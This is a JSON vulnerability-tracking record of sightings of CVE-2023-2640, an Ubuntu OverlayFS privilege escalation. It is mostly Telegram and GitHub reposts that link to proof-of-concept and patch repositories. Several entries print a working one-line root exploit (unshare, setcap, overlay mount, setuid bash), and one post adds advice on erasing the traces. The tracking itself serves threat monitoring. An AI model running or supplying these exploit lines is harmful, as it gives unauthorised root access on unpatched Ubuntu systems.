{"vulnerability": "cve-2023-2640", "sightings": [{"uuid": "2d2b52b5-a8f5-427e-9ca7-4bff0fa9e47b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "MISP/851cd517-5e71-4cbc-ac92-bb9c2c9b1499", "content": "", "creation_timestamp": "2024-04-19T09:48:27.000000Z"}, {"uuid": "9a473ba7-93a3-490d-863a-0bb618824cfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:45.000000Z"}, {"uuid": "a0a42048-495e-4fc0-be7e-2f663c18771c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:52.000000Z"}, {"uuid": "7497faf0-84fd-4bbb-b41a-0d23b0172b53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2023-2640", "type": "seen", "source": "https://gist.github.com/okfull/f7286f6cee1de1888e21dfc6de914ebc", "content": "", "creation_timestamp": "2025-02-15T04:06:07.000000Z"}, {"uuid": "64ab409f-9b08-40c6-b227-2ff0bce60ee1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:00.000000Z"}, {"uuid": "0d1f5c59-c4f1-4049-96ac-c10340c4ad73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/gameoverlay_privesc.rb", "content": "", "creation_timestamp": "2024-12-18T20:51:38.000000Z"}, {"uuid": "94b82dea-4cf5-4508-b72b-3ae54035cd27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "Telegram/0wrqT-Y0ZT6aZxb3G7dw-myGUZ24NYkbA_Q0tAhYejl60HA", "content": "", "creation_timestamp": "2025-07-16T03:00:05.000000Z"}, {"uuid": "8224b59d-dc7f-4187-83d9-201815cec15e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/road_to_oscp/266", "content": "#ubuntu #privesc\n\nGameOver(lay) Ubuntu Privilege Escalation\n\nThanks to: @Ikelt  (his channel)\n\nhttps://github.com/g1vi/CVE-2023-2640-CVE-2023-32629", "creation_timestamp": "2023-10-12T23:20:02.000000Z"}, {"uuid": "9dbd7564-07ba-4788-9c2b-d2e86b6224c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5154", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aGameoverlayFS (CVE-2023-2640 and CVE-2023-32629) exploit  in Shell Script tested on Ubuntu 20.04 Kernel 5.4.0\nURL\uff1ahttps://github.com/luanoliveira350/GameOverlayFS\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-09-17T23:31:29.000000Z"}, {"uuid": "55f2051b-64d1-492c-96a4-de8bca2c5f06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/4982", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aJuju: GameOver(lay) CVE-2023-2640 and CVE-2023-32629 patcher\nURL\uff1ahttps://github.com/johnlettman/juju-scripts\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-08-24T18:38:28.000000Z"}, {"uuid": "c11a12eb-ad3f-46d7-944d-b7c7db398fc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/4869", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aJuju: GameOver(lay) CVE-2023-2640 and CVE-2023-32629 patcher\nURL\uff1ahttps://github.com/johnlettman/juju-patch-gameoverlay\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-08-04T18:39:02.000000Z"}, {"uuid": "8c90ebfc-bde0-4902-874b-c29291bd7e1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/4926", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aCVE-2023-2640 CVE-2023-32629\nURL\uff1ahttps://github.com/OllaPapito/gameoverlay\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-08-15T19:13:54.000000Z"}, {"uuid": "32861857-2b80-46c4-bfda-129269406f38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5767", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aOne-Liner CVE-2023-32629/CVE-2023-2640 Ubuntu Privilege Escalation\nURL\uff1ahttps://github.com/k4but0/Ubuntu-LPE\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-11-11T14:35:10.000000Z"}, {"uuid": "18db98c6-7e89-4eeb-8942-116e227f6e27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5793", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aCVE-2023-32629 & CVE-2023-2640  Ubuntu Privilege Escalation POC\nURL\uff1ahttps://github.com/Umutkgz/CVE-2023-32629-CVE-2023-2640-Ubuntu-Privilege-Escalation-POC\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-11-14T08:43:11.000000Z"}, {"uuid": "4e9a8d32-f902-48f5-b83e-cb40748e4c9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5732", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aUbuntu Privilege Escalation bash one-liner using CVE-2023-32629 & CVE-2023-2640\nURL\uff1ahttps://github.com/ThrynSec/CVE-2023-32629-CVE-2023-2640---POC-Escalation\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-11-09T09:21:06.000000Z"}, {"uuid": "61ed7721-8b9c-4cba-8e60-c0808197de86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "Telegram/LjSTrv-Iu2X1pwZwEm6tW7erIQPbnSZRqnOkapEQyNwszBE", "content": "", "creation_timestamp": "2026-04-05T03:00:05.000000Z"}, {"uuid": "030f900f-5efa-4c4b-8c40-5a18165f17b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/78796", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2023-2640-3262-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a z3usx01\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-04 19:00:12\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPOC exploits demonstrating OverlayFS-based local privilege escalation vulnerabilities in Ubuntu (CVE-2023-2640 & CVE-2023-3262)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-04T19:00:32.000000Z"}, {"uuid": "6629819e-f81d-4389-84a4-0f6422a1d92d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/poxek/3657", "content": "Ubuntu Privilege escalation\nCVE-2023-32629 & CVE-2023-2640\n#linux #LPE #\u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0435\n\nPoC:\nunshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; python3 -c 'import os;os.setuid(0);os.system(\\\"/bin/bash\\\")'\"\n\n\ud83d\udccc \u041d\u0435 \u0437\u0430\u0431\u044b\u0432\u0430\u0439\u0442\u0435 \u0443\u0431\u0440\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 (\u043f\u0430\u043f\u043a\u0438 l u w m):\nrm -rf l u w m\n\n\ud83c\udf1a @poxek", "creation_timestamp": "2024-02-05T13:01:28.000000Z"}, {"uuid": "c81cddfe-54e8-4f0d-8dab-48ec08882a4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/bh_cat/202", "content": "\ud83d\udcd5 \u041f\u043e\u0434\u0431\u043e\u0440\u043e\u0447\u043a\u0430 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\ud83d\udca1 Atlassian Confluence Server - Improper Authorization\n\n\u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435:\nCVE-2023-22518\n\u0421\u043a\u043e\u0440\u0438\u043d\u0433 CVSS3.x:\n\u270d\ufe0f\u270d\ufe0f\u270d\ufe0f\n\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435:\n- \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c, \u0438\u043c\u0435\u044e\u0449\u0438\u043c \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0443 Confluence, \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 Confluence \u0438, \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b.\nPOC\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\n\n\n\ud83d\udca1 Microsoft Message Queuing Remote Code Execution\n\n\u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435:\nCVE-2023-21554\n\u0421\u043a\u043e\u0440\u0438\u043d\u0433 CVSS3.x:\n\u270d\ufe0f\u270d\ufe0f\u270d\ufe0f\n\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435: \n- \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0433\u0440\u043e\u0436\u0430\u044e\u0449\u0435\u043c\u0443 \u0430\u0433\u0435\u043d\u0442\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c RCE-\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 Microsoft Messaging Queue.\nPOC\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\n\n\ud83d\udca1 Google Chrome heap buffer overflow in WebP \n\n\u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435:\nCVE-2023-4863\n\u0421\u043a\u043e\u0440\u0438\u043d\u0433 CVSS3.x: \n\u270d\ufe0f\u270d\ufe0f\u270d\ufe0f\n\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435:\n-  \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0437\u0430\u043f\u0438\u0441\u044c \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u043f\u0430\u043c\u044f\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u0443\u044e HTML-\u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443.\nPOC\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\u27bf\n\n\ud83d\udca1 Ubuntu Privilege Escalation (Double)\n\n\u041e\u0431\u043e\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435:\nCVE-2023-2640\nCVE-2023-32629\n\u0421\u043a\u043e\u0440\u0438\u043d\u0433 CVSS3.x:\n\u270d\ufe0f\u270d\ufe0f\u270d\ufe0f\n\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435:\n- \u041d\u0430 \u044f\u0434\u0440\u0430\u0445 Ubuntu, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u043a\u0430\u043a c914c0e27eb0, \u0442\u0430\u043a \u0438 \"UBUNTU: SAUCE: overlayfs: \u041f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u0434\u043b\u044f trusted.overlayfs.* xattrs\", \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043c\u043e\u0436\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u043d\u044b\u0435 \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u044b \u0434\u043b\u044f \u0441\u043c\u043e\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u0438\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0434\u043b\u044f \u0432\u0435\u0440\u0445\u043d\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u0431\u0435\u0437 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n- \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u044f\u0434\u0440\u0430\u0445 Ubuntu \u0412 \u044f\u0434\u0440\u0430\u0445 Ubuntu \u043e\u0432\u0435\u0440\u043b\u0435\u0439\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b ovl_copy_up_meta_inode_data \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043f\u0440\u0438 \u0432\u044b\u0437\u043e\u0432\u0435 ovl_do_setxattr.\nPOC\n\ud83c\udf10 \u0421\u0441\u044b\u043b\u043a\u0430\n\nunshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; python3 -c 'import os;os.setuid(0);os.system(\\\"/bin/bash\\\")'\"\n\n#poc", "creation_timestamp": "2023-11-10T11:18:42.000000Z"}, {"uuid": "dbf2bcf8-77b9-4bb3-b3d3-30a5a938c728", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/5153", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2023\n\u63cf\u8ff0\uff1aGameoverlayFS (CVE-2023-2640 and CVE-2023-32629) exploit  in Shell Script tested on Ubuntu 20.04 Kernel 5.4.0\nURL\uff1ahttps://github.com/luanoliveira350/exploits\n\n\u6807\u7b7e\uff1a#CVE-2023", "creation_timestamp": "2023-09-17T23:21:56.000000Z"}, {"uuid": "41e30cfa-86bc-41f3-8291-9a5725705d8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "Telegram/llJ3Zelv9khtFzEIlG9M-p5v3ilWpn3isYFK1mhnJTqX5Q", "content": "", "creation_timestamp": "2024-02-05T16:42:01.000000Z"}, {"uuid": "b6dc3cf5-253a-41cb-b2ff-6fbdb5f2a36e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "Telegram/C10Ukd6uaNmL2dCJ4JKu4FFYI3kxwifkbaampl1UlSSR", "content": "", "creation_timestamp": "2023-10-22T23:27:27.000000Z"}, {"uuid": "41c66a84-d5b8-43aa-9bb1-3ccfa055d614", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "Telegram/CTnpALb3N4gRNOOR6pdTMCwNdnVLITHynoX5MxKBkUzk", "content": "", "creation_timestamp": "2024-05-03T15:51:20.000000Z"}, {"uuid": "939c379d-3930-4e25-a401-be989ec2ec81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "Telegram/d4IDmhF_GY2RTUu1Rz7A6eV9z3DwFMVectxUjlKtekAM95Jp", "content": "", "creation_timestamp": "2023-07-28T12:18:45.000000Z"}, {"uuid": "2deb5365-f384-45f2-85a5-5fb311e109f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/arpsyndicate/873", "content": "#ExploitObserverAlert\n\nCVE-2023-2640\n\nDESCRIPTION: Exploit Observer has 26 entries related to CVE-2023-2640. On Ubuntu kernels carrying both c914c0e27eb0 and \"UBUNTU: SAUCE: overlayfs: Skip permission checking for trusted.overlayfs.* xattrs\", an unprivileged user may set privileged extended attributes on the mounted files, leading them to be set on the upper files without the appropriate security checks.\n\nFIRST-EPSS: 0.001990000\nNVD-IS: 5.9\nNVD-ES: 1.8", "creation_timestamp": "2023-12-02T01:17:59.000000Z"}, {"uuid": "50608044-e2fd-46d3-88ab-18c74963eff4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/LearnHacking1337/3755", "content": "\ud83d\udc4a CVE-2023-32629 & CVE-2023-2640\n\ud83d\udc27 Ubuntu Privilege Escalation\n\nVulnerable kernels:\nKernel: 6.2.0 | Ubuntu 23.04 (Lunar Lobster) / Ubuntu 22.04 LTS (Jammy Jellyfish)\nKernel: 5.19.0 | Ubuntu 22.10 (Kinetic Kudu) / Ubuntu 22.04 LTS (Jammy Jellyfish)\nKernel: 5.4.0 | Ubuntu 22.04 LTS (Local Fossa) / Ubuntu 18.04 LTS (Bionic Beaver)\n\nCode:\nunshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'", "creation_timestamp": "2023-11-13T22:21:02.000000Z"}, {"uuid": "13af6935-67ed-47f8-b1e1-9155e59ebf69", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/3547", "content": "https://gist.github.com/win3zz/aa1ac16c4458aaaec6dd79343b8cd46f\n\nCVE-2023-2640 and CVE-2023-32629", "creation_timestamp": "2023-11-12T08:40:42.000000Z"}, {"uuid": "0ab4d76d-1906-4b8f-989f-ce186a818ea5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/JerusalemElectronicArmy/498", "content": "#\u0623\u062e\u0628\u0627\u0631_\u0627\u0644\u0633\u0627\u064a\u0628\u0631 \n\n\u0627\u0643\u062a\u0634\u0641 \u0627\u0644\u0628\u0627\u062d\u062b\u0648\u0646 \u062b\u063a\u0631\u0627\u062a Linux \u0639\u0627\u0644\u064a\u0629 \u0627\u0644\u062e\u0637\u0648\u0631\u0629 \u0641\u064a \u0646\u0648\u0627\u0629 Ubuntu \u062a\u0624\u062b\u0631 \u0639\u0644\u0649 40% \u0645\u0646 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u064a\u0646.\nGameOver(lay) CVE-2023-32629 \u0648 CVE-2023-2640\n#\u062c\u064a\u0634_\u0627\u0644\u0642\u062f\u0633_\u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a", "creation_timestamp": "2023-07-29T10:51:52.000000Z"}, {"uuid": "ccd2555a-67bc-4046-baa5-ae320d07e170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "Telegram/YlvlGWigoWqKUGSG74wUL9v7qHEx1LQZk5XqaUDNLwgr", "content": "", "creation_timestamp": "2023-11-13T14:54:21.000000Z"}, {"uuid": "1bcb5c9a-9e84-483f-87a9-a541c3f1e22a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "seen", "source": "https://t.me/proxy_bar/1821", "content": "update \u0434\u043b\u044f CVE-2023-32629 \u0438 CVE-2023-2640\nBash\u0421\u0418\u0448\u0435\u0447\u043a\u0430 \u0442\u0430\u043a\u0430\u044f", "creation_timestamp": "2023-11-10T21:25:27.000000Z"}, {"uuid": "79f12427-2d0a-4731-b6d8-0887bf52ccce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2640", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/1820", "content": "CVE-2023-32629 \u0438 CVE-2023-2640\nUbuntu Privilege Escalation\n*\nBASH \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439:\nunshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; python3 -c 'import 